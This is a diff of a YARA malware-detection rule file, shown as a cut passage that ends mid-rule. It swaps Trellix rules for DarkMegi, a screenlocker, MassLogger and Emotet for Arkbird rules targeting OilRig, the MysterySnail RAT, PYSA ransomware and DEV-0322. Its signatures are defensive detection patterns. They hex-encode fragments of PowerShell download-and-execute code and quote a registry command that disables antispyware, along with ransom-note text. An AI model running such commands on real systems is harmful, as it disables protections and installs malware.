+		$block1 = { 53 45 39 4e 52 54 30 69 4a 58 42 31 59 6d 78 70 59 79 56 63 54 47 6c 69 63 6d 46 79 61 57 56 7a 58 43 49 }
+		$block2 = { 43 6c 4e 46 55 6c 5a 46 55 6a 30 69 61 48 52 30 }
+		$block3 = { 56 34 4c 6d 46 7a 63 48 67 2f 63 6d 56 78 }
+		$block4 = { 6a 30 69 63 47 39 33 5a 58 4a 7a 61 47 56 73 62 43 41 69 49 69 5a 37 4a 48 64 6a 50 53 68 75 5a 58 63 74 62 32 4a 71 5a 57 4e 30 49 46 4e 35 63 33 52 6c 62 53 35 4f 5a 58 51 75 56 32 56 69 51 32 78 70 5a 57 35 30 4b 54 73 6b 64 32 4d 75 56 58 4e 6c 52 47 56 6d 59 58 56 73 64 45 4e 79 5a 57 52 6c 62 6e 52 70 59 57 78 7a 50 53 52 30 63 6e 56 6c 4f 79 52 33 59 79 35 49 5a 57 46 6b 5a 58 4a 7a 4c 6d 46 6b 5a 43 67 6e 51 57 4e 6a 5a 58 42 30 4a 79 77 6e 4b 69 38 71 4a 79 6b 37 4a 48 64 6a 4c 6b 68 6c 59 57 52 6c 63 6e 4d 75 59 57 52 6b 4b 43 64 56 63 32 56 79 4c 55 46 6e 5a 57 35 30 4a 79 77 6e 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 49 45 4a 4a 56 46 4d 76 4e 79 34 33 4a 79 6b 37 64 32 68 70 62 47 55 6f 4d 53 6c 37 64 48 4a 35 65 79 52 79 50 55 64 6c 64 43 31 53 59 57 35 6b 62 32 30 37 4a 48 64 6a 4c 6b 52 76 64 32 35 73 62 32 46 6b 52 6d 6c 73 }
+		$block5 = { 69 49 4e 43 6b 4e 79 5a 57 46 30 5a 55 39 69 61 6d 56 6a 64 43 67 69 56 31 4e 6a 63 6d 6c 77 64 43 35 54 61 47 56 73 62 43 49 70 4c 6c 4a 31 62 69 42 53 5a 58 42 73 59 57 [1-4] 45 52 33 62 69 77 69 4c 56 38 [1-4] 4a 6b 64 32 34 69 4b 53}
+		$block6 = { 30 69 49 69 49 4e 43 6b 4e 79 5a 57 46 30 5a 55 39 69 61 6d 56 6a 64 43 67 69 56 31 4e 6a 63 6d 6c 77 64 43 35 54 61 47 56 73 62 43 49 70 4c 6c 4a 31 62 69 42 53 5a 58 42 73 59 57 4e 6c 4b 45 52 76 64 32 35 73 62 32 46 6b 52 58 68 6c 59 33 56 30 5a 53 77 69 4c 56 38 69 4c 43 4a 69 59 58 51 }
+		$block7 = { 51 70 72 62 32 31 6a 50 53 4a 77 62 33 64 6c 63 6e 4e 6f 5a 57 78 73 49 43 31 6c 65 47 56 6a 49 45 4a 35 63 47 46 7a 63 79 41 74 52 6d 6c 73 5a 53 41 69 4a 6b }
+		$block8 = { 0a b7 9a b5 e3 9b 8d e7 2d 59 27 2b 8a 9b 52 85 e9 65 46 e9 [1-4] d4 }
 
 	condition:
-		uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and 1 of ($variant*)
+		filesize <2KB and 6 of them
 }
-rule TRELLIX_ARC_Downloader_Darkmegi_Pdb : DOWNLOADER FILE
+rule ARKBIRD_SOLG_APT_Oilrig_PSH_Helminth_2016_1 : FILE
 {
 	meta:
-		description = "Rule to detect DarkMegi downloader based on PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "3ccc3685-e05b-5620-9198-24733fb1e7eb"
-		date = "2013-03-06"
-		modified = "2020-08-14"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkmegi"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_downloader_darkmegi.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "bf849b1e8f170142176d2a3b4f0f34b40c16d0870833569824809b5c65b99fc1"
-		logic_hash = "47faf8c5296e651f82726a6e8a7843dfa0f98e7be7257d2c03efcff550f52140"
+		description = "Detect Powershell script Helminth in base 64 used by OilRig (2016)"
+		author = "Arkbird_SOLG"
+		id = "782503c2-a292-505c-b513-79cbbd381124"
+		date = "2020-08-26"
+		modified = "2021-07-13"
+		reference = "https://twitter.com/Arkbird_SOLG/status/1298758788028264450"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-26/APT_OilRig_2016.yar#L25-L45"
+		license_url = "N/A"
+		logic_hash = "0216015765f5abdb6ccf7643344aead51e4eebb19fd947f9484ce5dc6696d4d5"
 		score = 75
-		quality = 70
-		tags = "DOWNLOADER, FILE"
-		rule_version = "v1"
-		malware_type = "downloader"
-		malware_family = "Downloader:W32/DarkMegi"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 61
+		tags = "FILE"
+		hash1 = "1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c"
+		hash2 = "1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5"
 
 	strings:
-		$pdb = "\\RKTDOW~1\\RKTDRI~1\\RKTDRI~1\\objchk\\i386\\RktDriver.pdb"
+		$block1 = { 70 74 65 57 6c 6b 49 44 30 67 4a 79 4d 6a 49 79 63 67 44 51 6f 67 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 67 50 53 41 69 4a 47 56 75 64 6a 70 51 64 }
+		$block2 = { 41 67 ?? ?? 42 6c 62 48 4e 6c 61 57 59 6f 4a 47 31 35 5a 6d 78 68 5a 7a 4d 67 4c 57 56 78 49 44 49 70 49 41 30 4b 49 43 41 67 49 48 73 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 67 6e 64 33 63 6e 4b 79 52 6e 62 47 39 69 59 57 77 36 62 58 6c 70 5a 43 73 6b 59 32 31 6b 61 57 51 72 4a 48 42 68 63 6e 52 70 5a 43 73 6f }
+		$block3 = { 6a 61 47 46 79 58 53 42 62 61 57 35 30 58 53 41 6b 64 47 31 77 57 7a 42 64 4b 53 41 72 49 43 }
+		$block4 = { 43 52 6a 62 6e 51 67 4c 57 56 78 49 44 49 31 4b 53 6b 67 44 51 6f 67 49 43 41 67 65 79 41 }
+		$block5 = { 5a 6c 52 45 35 54 49 43 67 6b 5a 43 6b 67 44 51 70 37 49 41 30 4b 43 53 52 6a 62 6e 51 67 50 53 41 77 49 41 30 4b 43 58 64 6f 61 57 78 6c 49 43 67 6b 59 32 35 30 49 43 31 73 64 43 41 79 4d 43 6b 67 44 51 6f 4a 65 79 41 4e 43 67 6b 4a 64 48 4a 35 49 41 30 4b 43 51 6c 37 }
+		$block6 = { 4b 49 43 41 67 49 43 41 67 49 43 41 6b 61 53 73 72 49 41 30 4b 49 43 41 67 49 48 30 67 44 51 6f 67 49 43 41 67 61 57 59 6f 4a 48 4a 6c 64 43 41 74 5a 58 45 67 4d 53 6b 67 44 51 6f 67 49 43 41 }
+		$block7 = { 77 36 62 58 6c 6d 62 47 46 6e 49 44 30 67 4d 43 41 4e 43 69 41 67 49 43 42 39 49 41 30 4b 49 43 41 67 49 47 56 73 63 32 56 70 5a 69 41 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 5a 73 59 57 63 67 4c 57 56 78 49 44 45 70 49 41 30 4b 49 43 41 67 49 48 73 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 52 30 62 58 41 67 50 53 41 6b 62 58 6c 6b 59 58 52 68 4c 6c 4e 77 62 47 6c 30 4b 43 63 75 4a 79 6b 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 46 74 54 65 58 4e 30 5a 57 30 75 53 55 38 75 52 6d 6c 73 5a 56 30 36 4f 6b 46 77 63 47 56 75 5a 45 46 73 62 46 52 6c 65 48 51 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 72 4a 33 52 77 58 43 63 72 4a 47 64 73 62 32 4a 68 62 44 70 6d 61 57 78 6c 62 6d 46 74 }
+		$block8 = { 4a 47 6b 72 4b 79 41 4e 43 69 41 67 49 43 42 39 49 41 30 4b 49 48 30 67 44 51 6f 67 44 51 6f 67 5a 6e 56 75 59 33 52 70 62 32 34 67 52 32 56 30 53 55 [1-10] 4e 43 69 41 67 49 43 41 6b 5a 32 78 76 59 6d 46 73 4f 6d 31 35 61 57 51 67 50 53 42 54 5a 57 35 6b 55 6d 56 6a 5a 57 6c 32 5a 55 52 4f 55 79 41 6f 4b 45 64 6c 64 46 4e 31 59 69 41 77 4b 53 73 6e 4d 7a 41 6e 4b 53 41 4e 43 69 42 39 49 41 30 4b 49 41 30 4b 49 47 5a 31 62 6d 4e 30 61 57 39 [1-10] 56 52 6f 61 58 4e 47}
+		$block9 = { 73 67 44 51 6f 4a 43 57 31 6b 49 43 31 47 62 33 4a 6a 5a 53 41 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 72 4a 33 52 77 58 43 63 70 49 41 30 4b 43 51 6c 48 5a 58 52 4a 52 43 41 4e 43 67 6b 4a 51 32 68 68 62 6d 64 6c 56 47 68 70 63 30 5a 70 62 47 55 67 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 6c 6b 49 41 30 4b 49 43 41 67 49 48 30 67 44 51 6f 67 66 53 41 4e 43 69 42 6d 64 57 35 6a 64 47 6c 76 62 69 42 74 59 57 6c 75 49 41 30 4b }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >20000KB and any of them
+		filesize <3KB and 7 of them
 }
-rule TRELLIX_ARC_Screenlocker_5H311_1Nj3C706 : SCREENLOCKER FILE
+rule ARKBIRD_SOLG_MAL_Mysterysnail_RAT_Oct_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the screenlocker 5h311_1nj3c706"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "50bbe8e1-4721-5277-b786-d2a2d9acf917"
-		date = "2018-08-07"
-		modified = "2020-08-14"
-		reference = "https://twitter.com/demonslay335/status/1038060120461266944"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_screenlocker_5h311_1nj3c706.yar#L1-L33"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "016ee638bd4fccd5ca438c2e0abddc4b070f59269c08f11c5313ba9c37190718"
-		logic_hash = "61b4495841c77053ba2631f087197719f3ee45cd93add022f23b87ece8563619"
-		score = 75
-		quality = 70
-		tags = "SCREENLOCKER, FILE"
-		rule_version = "v1"
-		malware_type = "screenlocker"
-		malware_family = "ScreenLocker:W32/5h311_1nj3c706"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		description = "Detect MysterySnaial RAT implant"
+		author = "Arkbird_SOLG"
+		id = "2fa5015a-144f-52f6-8a5f-28fce10861e3"
+		date = "2021-10-13"
+		modified = "2021-10-14"
+		reference = "https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-14/MAL_MysterySnail_RAT_Oct_2021_1.yara#L1-L25"
+		license_url = "N/A"
+		logic_hash = "bcf072fae02b479084b8d47b4cd676216f72aecfa4ebcf8226b6997839929b57"
+		score = 50
+		quality = 75
+		tags = "FILE"
+		hash1 = "e84be291efadd53a8bb965bfb589590ffe870da9187e6752cc7a9f028053ff5d"
+		hash2 = "b7fb3623e31fb36fc3d3a4d99829e42910cad4da4fa7429a2d99a838e004366e"
+		hash3 = "73f520223a2e01c036a4b620c7188e733c113a429e25c5c3de7fbbc1c3d16ccc"
+		level = "experimental"
+		tlp = "White"
+		adversary = "MysterySnail"
 
 	strings:
-		$s1 = "C:\\Users\\Hoang Nam\\source\\repos\\WindowsApp22\\WindowsApp22\\obj\\Debug\\WindowsApp22.pdb" fullword ascii
-		$s2 = "cmd.exe /cREG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop /v NoChangingWallPaper /t REG_DWOR" wide
-		$s3 = "C:\\Users\\file1.txt" fullword wide
-		$s4 = "C:\\Users\\file2.txt" fullword wide
-		$s5 = "C:\\Users\\file.txt" fullword wide
-		$s6 = " /v Wallpaper /t REG_SZ /d %temp%\\IMG.jpg /f" fullword wide
-		$s7 = " /v DisableAntiSpyware /t REG_DWORD /d 1 /f" fullword wide
-		$s8 = "All your file has been locked. You must pay money to have a key." fullword wide
-		$s9 = "After we receive Bitcoin from you. We will send key to your email." fullword wide
+		$s1 = { 57 48 83 ec 20 4c 8b c2 33 f6 0f b6 d1 41 b1 01 8b c2 c1 e8 04 41 84 c1 75 53 4d 85 c0 74 47 41 0f b7 08 8d 41 bf 66 83 f8 19 76 0a 66 83 e9 61 66 83 f9 19 77 08 66 41 83 78 02 3a 74 03 44 8a ce 45 84 c9 49 8d 40 04 49 8b c8 48 0f 45 c8 66 39 31 74 19 66 83 39 5c 74 06 66 83 39 2f 75 06 66 39 71 02 74 07 bb 00 80 00 00 eb 05 bb 40 40 00 00 66 c1 e2 07 b8 80 00 00 00 66 f7 d2 66 23 d0 b8 00 01 00 00 66 0b d0 66 0b da 4d 85 c0 74 65 ba 2e 00 00 00 49 8b c8 e8 64 4b 01 00 48 8b f8 48 85 c0 74 50 48 8d 15 a9 0d 09 00 48 8b c8 e8 5d dd 00 00 85 c0 74 39 48 8d 15 a6 0d 09 00 48 8b cf e8 4a dd 00 00 85 c0 74 26 48 8d 15 a3 0d 09 00 48 8b cf e8 37 dd 00 00 85 c0 74 13 48 8d 15 a0 0d 09 00 48 8b cf e8 24 dd 00 00 85 c0 75 04 66 83 cb 40 48 8b 74 24 38 0f b7 c3 66 c1 e8 03 66 83 e0 38 66 0b d8 0f b7 c3 66 c1 e8 06 66 83 e0 07 66 0b c3 48 8b 5c 24 30 }
+		$s2 = { 4c 8d 0d 6e 96 09 00 48 89 44 24 20 44 8b c7 48 8d 15 a7 62 0d 00 48 8b ce e8 47 17 fb ff 85 c0 0f 8e 83 00 00 00 4c 8d 0d 48 96 09 00 44 8b c7 48 8d 15 36 59 0d 00 48 8b ce e8 26 17 fb ff 85 c0 7e 66 49 8b 46 10 8b 08 81 f9 0a 04 00 00 74 1b 81 f9 3f 04 00 00 74 13 81 f9 0b 04 00 00 44 8b c3 41 0f }
+		$s3 = { 25 2a 73 70 75 62 3a 0a }
+		$s4 = { 48 81 ec b0 02 00 00 48 8b 05 7a e9 7b 00 48 33 c4 48 89 84 24 a0 02 00 00 48 8b ea 48 8d 44 24 38 48 8d 15 c0 a1 79 00 48 89 44 24 20 41 b9 01 00 00 00 45 33 c0 48 c7 c1 01 00 00 80 ff 15 3d 94 71 00 85 c0 75 53 48 8b 4c 24 38 48 8d 44 24 30 48 89 44 24 28 4c 8d 4c 24 34 48 8d 84 24 d0 01 00 00 c7 44 24 34 01 00 00 00 45 33 c0 48 89 44 24 20 48 8d 15 e6 a1 79 00 c7 44 24 30 c7 00 00 00 ff 15 00 94 71 00 85 c0 75 0e 8b 84 24 d0 01 00 00 89 45 68 85 c0 75 07 33 c0 e9 eb 00 00 00 83 f8 01 75 f4 33 d2 48 8d 4c 24 40 41 b8 90 01 00 00 e8 f0 82 6f 00 48 8b 4c 24 38 48 8d 44 24 30 48 89 44 24 28 4c 8d 4c 24 34 48 8d 44 24 40 c7 44 24 30 c8 00 00 00 45 33 c0 48 89 44 24 20 48 8d 15 90 a1 79 00 ff 15 9a 93 71 00 85 c0 75 a8 33 f6 8b fe 8b de 66 83 7c 5c 40 3a 74 15 48 83 fb 64 74 94 ff c7 48 ff c3 48 83 fb 64 7c e7 33 c0 eb 77 48 63 c7 48 8d 4c 24 42 4c 89 b4 24 d0 02 00 00 4c 8d 34 00 49 03 ce e8 2f ad 6f 00 89 45 64 49 81 }
+		$s5 = { 48 8d 4c 24 60 ff 97 18 04 00 00 33 f6 c7 45 90 01 00 00 00 0f 57 c0 48 89 74 24 68 33 c9 66 0f 7f 44 24 70 48 89 75 80 48 89 75 88 c7 45 94 01 00 00 00 48 c7 45 9c 01 00 00 00 48 89 75 a8 e8 32 97 6f 00 8d 4e 01 48 89 45 b0 e8 26 97 6f 00 8d 4e 02 48 89 45 b8 e8 1a 97 6f 00 48 89 45 c0 45 33 c9 48 8d 45 d0 45 33 c0 48 89 44 24 48 48 8b d3 48 8d 44 24 60 33 c9 48 89 44 24 40 48 89 74 24 38 48 89 74 24 30 89 74 24 28 c7 44 24 20 01 00 00 00 ff 97 90 03 00 00 85 c0 74 0a 48 8b 4d d8 ff 15 da 8f 71 00 48 8b 4d d0 ff 15 d0 8f 71 00 b9 10 27 00 00 ff 15 b5 8f 71 00 0f 10 05 96 9c 79 00 48 8d 4d 08 33 d2 f2 0f 10 0d 98 9c 79 00 41 b8 b8 07 00 00 0f 29 45 f0 f2 0f 11 4d 00 e8 84 7d 6f 00 4c 8d 05 65 9c 79 00 48 8d 55 f0 48 8d 4c 24 58 e8 c3 98 6f 00 85 c0 0f 85 af 00 00 00 48 8b 4c 24 58 44 8d 40 02 33 d2 e8 db aa 6f 00 48 8b 4c 24 58 e8 71 94 6f 00 48 8b 4c 24 58 45 33 c0 33 d2 48 63 d8 e8 bf aa 6f 00 8d 4b 01 48 63 c9 e8 d4 67 6f 00 4c 8b 4c 24 58 4c 8b c3 ba 01 00 00 00 48 8b c8 48 8b f0 e8 58 f5 6f 00 48 8b 4c 24 58 48 8b d8 e8 47 99 6f 00 b9 64 00 00 00 ff 15 08 8f 71 00 48 83 bf f0 03 00 00 00 75 11 b9 42 6e aa cf e8 8c e7 ff ff 48 89 87 f0 03 00 00 48 8d 4d f0 ff 97 f0 03 00 00 44 8b cb 89 5c 24 50 4c 8b c6 48 8d 54 24 50 49 8b ce e8 44 d7 5c 00 48 8b ce 85 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		uint16(0)==0x5A4D and filesize >500KB and all of ($s*)
 }
-rule TRELLIX_ARC_Masslogger_Stealer : STEALER FILE
+rule ARKBIRD_SOLG_RAN_PYSA_Sept_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect unpacked MassLogger stealer"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "c3a40108-3f0c-5949-9201-95c3c38b352a"
-		date = "2020-07-02"
-		modified = "2020-08-14"
-		reference = "https://urlhaus.abuse.ch/browse/signature/MassLogger/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_masslogger_stealer.yar#L1-L63"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "343873155b6950386f7d9bcd8d2b2e81088521aedf8ff1333d20229426d8145c"
-		logic_hash = "476b3f3a54a4616058a2aef01adbe429a38eacc8ee58881d31bd28e795a27575"
+		description = "Detect the PYSA ransomware"
+		author = "Arkbird_SOLG"
+		id = "fd939287-ec37-5021-9782-f0f86a9f0e4b"
+		date = "2021-09-23"
+		modified = "2021-11-10"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-09/PYSA/RAN_PYSA_Sept_2021_1.yara#L1-L20"
+		license_url = "N/A"
+		logic_hash = "e16f2ae581b8627ccd4e8ecb56db52c992022473d006843ed19a69c8059ecb54"
 		score = 75
-		quality = 66
-		tags = "STEALER, FILE"
-		rule_version = "v1"
-		malware_type = "stealer"
-		malware_family = "Stealer:W32/MassLogger"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "7c774062bc55e2d0e869d5d69820aa6e3b759454dbc926475b4db6f7f2b6cb14"
+		hash2 = "7c774062bc55e2d0e869d5d69820aa6e3b759454dbc926475b4db6f7f2b6cb14"
+		hash3 = "44f1def68aef34687bfacf3668e56873f9d603fc6741d5da1209cc55bdc6f1f9"
+		tlp = "white"
+		adversary = "RAAS"
 
 	strings:
-		$pattern_0 = { 6437 3e2585829c88 ec ec 1bc8 }
-		$pattern_1 = { d7 b9513e1ba7 195ab6 e6df 7e2a 5a b6cc }
-		$pattern_2 = { 80aee281aae280 8ee2 808ce2808ee2808e e280 ae 00436f 6e }
-		$pattern_3 = { 6d e586 4c 40 }
-		$pattern_4 = { e281 ab e280 8ee2 80aee281aae280 8ee2 }
-		$pattern_5 = { 6c 69636b65644576 656e 7441 7267 7300 }
-		$pattern_6 = { 6e 7e81 d86aaf 61 93 7c2b 832b62 }
-		$pattern_7 = { 8b1c87 e7ed 24a2 3218 73df 53 }
-		$pattern_8 = { ee 9a357f9a475399 3188eef97d50 3f ef c9 }
-		$pattern_9 = { 44 a2???????? 92 7526 42 208fb5ca7050 }
-		$pattern_10 = { f2bbafb0d5f8 d524 0d48c906ba 7977 5d }
-		$pattern_11 = { 748f 46 4e 49 2af2 ee 9a357f9a475399 }
-		$pattern_12 = { 237ddb e200 95 46 99 37 }
-		$pattern_13 = { d9ae1d19ec3b 01db c5615c ec }
-		$pattern_14 = { 304a8a e2f4 bde7a84f79 c038d3 197ceae6 }
-		$pattern_15 = { 291f ff84c3bd55d8dc f331f2 1a3a 9c 7d78 }
-		$pattern_16 = { 3f 7af1 77a2 24ae 7ff3 }
-		$pattern_17 = { d1655d 7236 3873c1 b59e }
-		$pattern_18 = { 2aff 95 55 28ff 94 53 }
-		$pattern_19 = { e6b1 43 08d2 ef 43 3c38 }
-		$pattern_20 = { 6964427275736800 43 6f 6c 6f 7200 e281 }
-		$pattern_21 = { 37 005400a7 877f08 54 00e1 875303 5c }
-		$pattern_22 = { 6a45 e42c d3ba76c4f058 ce 3037 }
-		$pattern_23 = { b59e 59 f1 f1 }
-		$pattern_24 = { 7988 cd09 91 0099664e0391 008288490061 008c88d3099900 }
-		$pattern_25 = { 1e e3c2 00ff 698876be8fb365b13eb7 45 }
-		$pattern_26 = { 3d4c9deadf 57 ddeb 97 }
-		$pattern_27 = { e280 8ee2 808ee281aee280 8ee2 81ace281ace280ade280ab e281 }
-		$pattern_28 = { 4d 9c 8e5753 32414f d28a7173e2c4 7ee4 d9ae1d19ec3b }
-		$pattern_29 = { 7472 69704d656e755f 53 61 }
-		$pattern_30 = { 79bc fa ad 49 }
-		$pattern_31 = { 875303 5c 00140a 37 005c00a7 }
-		$pattern_32 = { 7265 5f 43 6c 69636b00746f6f 6c 53 }
-		$pattern_33 = { 36e633 2b2b 3673d1 d480 124d2d }
-		$pattern_34 = { 19b3e7ab29db 51 e1f3 dd3a 266f b884c4b53b }
-		$pattern_35 = { 7467 43 f332d2 84bf3df2e66b 4a ba5a20d9f5 3dbf2a3753 }
-		$pattern_36 = { f271f3 8877f7 a8e5 6437 3e2585829c88 }
-		$pattern_37 = { ce 84604c 3f 8cc6 56 bf165fdec5 4a }
-		$pattern_38 = { ad 49 a2???????? 4c e15b 8b1c87 }
-		$pattern_39 = { 3400 b687 bc083c00cd 87ce 083400 }
+		$s1 = { 57 ff 15 38 a0 45 00 be [2] 45 00 33 ff 56 57 68 01 00 1f 00 ff 15 34 a0 45 00 85 c0 75 2b 56 57 57 ff 15 30 a0 45 00 57 8b f0 e8 44 00 00 00 6a 01 e8 3d 00 00 00 59 59 e8 3f ff ff ff 56 ff 15 2c a0 45 00 }
+		$s2 = { 51 a1 34 52 47 00 33 c5 89 45 fc 56 8d 45 f8 50 6a 02 6a 00 68 [2] 45 00 68 02 00 00 80 ff 15 0c a0 45 00 8b 15 bc 50 47 00 8b ca 8d 71 01 8a 01 41 84 c0 75 f9 2b ce 8b 35 08 a0 45 00 8d 41 01 50 52 6a 07 6a 00 68 [2] 45 00 ff 75 f8 ff d6 6a 05 68 [2] 45 00 6a 07 6a 00 68 [2] 45 00 ff 75 f8 ff d6 ff 75 f8 ff 15 10 a0 45 00 8b 4d fc 33 cd 5e e8 [2] 02 00 }
+		$s3 = { 57 8d 85 f8 fe ff ff bb 04 01 00 00 50 53 ff 15 48 a0 45 00 8d bd f8 fe ff ff 4f 8a 47 01 47 84 c0 75 f8 be [2] 45 00 8d 85 f4 fd ff ff 53 50 33 db a5 53 a5 66 a5 a4 ff 15 74 a0 45 00 8b cb 8a 84 0d f4 fd ff ff 88 84 0d f0 fc ff ff 41 84 c0 75 ed 8d 85 f0 fc ff ff 6a 5c 50 e8 [2] 02 00 59 59 85 c0 74 02 88 18 53 68 80 00 00 00 6a 02 53 53 68 00 00 00 40 8d 85 f8 fe ff ff 50 ff 15 1c a0 45 00 8b f8 83 ff ff 0f 84 a7 00 00 00 b9 78 50 47 00 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 95 f4 fd ff ff 8d 72 01 8a 02 42 84 c0 75 f9 2b d6 8d b5 f8 fe ff ff 8d 5e 01 8a 06 46 84 c0 75 f9 2b f3 83 c1 14 8d 04 56 03 c1 e8 [2] 02 00 8b f4 8d 85 f8 fe ff ff 50 8d 85 f0 fc ff ff 50 8d 85 f4 fd ff ff 50 50 68 78 50 47 00 56 ff 15 a0 a1 45 00 8b ce 83 c4 18 8d 51 01 8a 01 41 84 c0 75 f9 33 db 8d 85 ec fc ff ff 53 50 2b ca 51 56 57 ff 15 88 a0 45 00 57 ff 15 7c a0 45 00 53 53 53 8d 85 f8 fe ff ff 50 68 [2] 45 00 53 ff 15 94 a1 45 00 8d a5 e0 fc ff ff 5f 5e 5b 8b }
+		$s4 = { 51 a1 34 52 47 00 33 c5 89 45 fc 56 68 [2] 46 00 68 [2] 46 00 68 [2] 46 00 6a 11 e8 c6 fb ff ff 8b f0 83 c4 10 85 f6 74 12 ff 75 0c 8b ce ff 75 08 ff 15 a8 a1 45 00 ff d6 eb 14 6a 00 ff 75 0c ff 75 08 ff 15 4c a1 45 00 50 e8 d6 00 00 00 8b 4d fc 33 cd 5e e8 [2] fe ff 8b e5 }
+		$s5 = { 8b ec 6a ff 68 [2] 45 00 64 a1 00 00 00 00 50 83 ec 44 a1 34 52 47 00 33 c5 89 45 f0 53 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b f1 8b 3d 04 a0 45 00 68 00 00 00 f0 6a 01 6a 00 6a 00 56 c7 06 00 00 00 00 ff d7 85 c0 75 60 ff 15 54 a0 45 00 6a 08 6a 01 6a 00 68 [2] 45 00 56 8b d8 ff d7 85 c0 75 46 6a 28 6a 01 50 68 [2] 45 00 56 ff d7 85 c0 75 35 53 ff 15 58 a0 45 00 68 [2] 45 00 8d 4d d8 e8 ?? 8a fd ff 8d 45 d8 c7 45 fc 00 00 00 00 50 8d 4d b0 e8 d3 00 00 00 68 [2] 47 00 8d 45 b0 50 e8 [2] 00 00 8b c6 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 5b 8b 4d f0 33 cd e8 [2] 00 00 }
 
 	condition:
-		7 of them and filesize <3834880
+		uint16(0)==0x5A4D and filesize >100KB and 4 of ($s*)
 }
-rule TRELLIX_ARC_MALW_Emotet : FINANCIAL FILE
+rule ARKBIRD_SOLG_UNK_DEV_0322_Jul_2021_1 : CVE_2021_35211 FILE
 {
 	meta:
-		description = "Rule to detect unpacked Emotet"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "5bc83065-dfdd-56b7-9983-200bff35c8b1"
-		date = "2020-07-21"
-		modified = "2020-08-14"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/malware/MALW_emotet.yar#L1-L32"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "223e4453a6c3b56b0bc0f91147fa55ea59582d64b8a5c08f1f8d06026044065e"
+		description = "Detect the script used by DEV-0322 for create a new user after exploit the CVE-2021-35211"
+		author = "Arkbird_SOLG"
+		id = "8d16eb7f-c137-5f23-8830-ce26dc6e4d52"
+		date = "2021-07-16"
+		modified = "2021-11-10"
+		reference = "https://www.cadosecurity.com/triage-analysis-of-serv-u-ftp-user-backdoor-deployed-by-cve-2021-35211/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-09/DEV_0322/UNK_DEV_0322_Jul_2021_1.yara#L1-L26"
+		license_url = "N/A"
+		logic_hash = "7d7f012053bff6217f0fe9087acbeba13f83cb2c3dbe9a4fe8e7e0e4551edefd"
 		score = 75
-		quality = 70
-		tags = "FINANCIAL, FILE"
-		rule_version = "v1"
-		malware_type = "financial"
-		malware_family = "Backdoor:W32/Emotet"
-		actor_type = "Cybercrime"
-		hash1 = "a6621c093047446e0e8ae104769af93a5a8ed147ab8865afaafbbd22adbd052d"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 59
+		tags = "CVE-2021-35211, FILE"
+		hash1 = "fb101d9980ba2e22dceac7367c670b4894eaae9a8cef9de98ed85499a3b014ea"
+		hash2 = "134a570f480536d04a056da99e58a3c982aa36f5b314f48a01420b66b759d35d"
+		hash3 = "8785f1049eed4f837e634bf61468e6db921368b61ef5c8b4afa03f44465bd3e0"
+		tlp = "white"
+		adversary = "DEV-0322"
 
 	strings:
-		$pattern_0 = { 8b45fc 8be5 5d c3 55 8bec }
-		$pattern_1 = { 3c39 7e13 3c61 7c04 3c7a 7e0b 3c41 }
